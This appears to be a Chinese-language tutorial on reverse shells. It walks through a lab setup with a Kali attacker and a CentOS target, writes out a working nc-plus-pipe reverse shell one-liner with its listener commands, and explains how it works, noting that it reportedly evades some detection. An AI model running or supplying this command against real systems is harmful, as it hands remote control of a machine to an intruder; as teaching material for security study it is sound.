一.什么叫反弹shell?
在计算机科学中,Shell俗称壳(用来区别于核),是指“提供使用者使用界面”的软件(命令解析器)。它类似于下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序,这是来自百度百科的解释,通俗点就是说shell是一个用来执行命令的软件,比如我们常见的windows系统下的cmd.exe、powershell,linux下的bash、ksh、zsh等,那什么叫反弹shell呢,反弹shell就是将目标的shell反弹到本地来,这样在本地shell上操作就相当于在操作远程主机上的shell。
二.常见的反弹shell都有哪些?
反弹shell的姿势有很多,网上师傅们也有整理了各种文章,知识面有多广,姿势就有多猥琐,我就目前常见的简单说一下:bash反弹、nc、php、python、telnet、ruby等,具体的使用方法网上都有就不细说了,下面说个我遇到的认为不错的反弹shell的方法,NC+linux中的管道符反弹shell,嗯,据说类似的方法可以绕过某些安全产品对反弹shell的检测。
三.实际操作
攻击机:Kali2.0 192.168.128.133目标机:Centos7 192.168.128.149
kali上的执行的命令(需要打开两个终端分别执行)
nc -lvp 4444nc -lvp 5555
如下图所示:
centos7上执行如下命令
nc 192.168.128.133 4444|/bin/bash|nc 192.168.128.133 5555
如下图所示:
此时查看kali的两个终端,发现已经显示连接成功
这是在kali终端1上执行的命令将会在kali终端2上显示出来,如下所示:
三.原理解释
上面就是nc+管道符执行后的效果,那原理是什么呢,我们常用的不是直接在攻击机上反弹shell后直接在攻击机上执行就行吗?为何kali需要开启两个终端监听?别急下面就来解释下原因
我们把nc 192.168.128.133 4444 |/bin/bash| nc 192.168.138.133 5555 命令分解来看看
我们先来看看在centos7上执行nc 192.168.128.133 4444和kali上执行nc -lvp 4444是什么效果
此时已经连接上,这时执行命令试试
这时执行命令你会发现不管你在哪一方的终端上执行,另一边都会把你执行的东西原样显示出来,这种在nc中也叫聊天室,同样的后面的nc 192.168.128.133 5555也是一样的
/bin/bash在linux中就代表当前使用的shell(shell有很多,目前在这儿只说bash),| 管道符在linux中代表将管道符前面的结果作为管道符后面的输入,在这里解释就是将在kali终端1上执行的命令在centos7上作为输入执行
因此当我们在kali终端1上执行ls后,ls会作为输入传递到centos7的bash上作为输入,在bash执行完ls后会将结果又作为输入传递到kali的终端2上显示出来,总体来说这条命令真的很 ”皮”。
四.总结
类似的命令还有很多种,这条命令只是入门级别的,世间骚操作千千万,很多还需要我们去静下心去学习、发现
参考链接: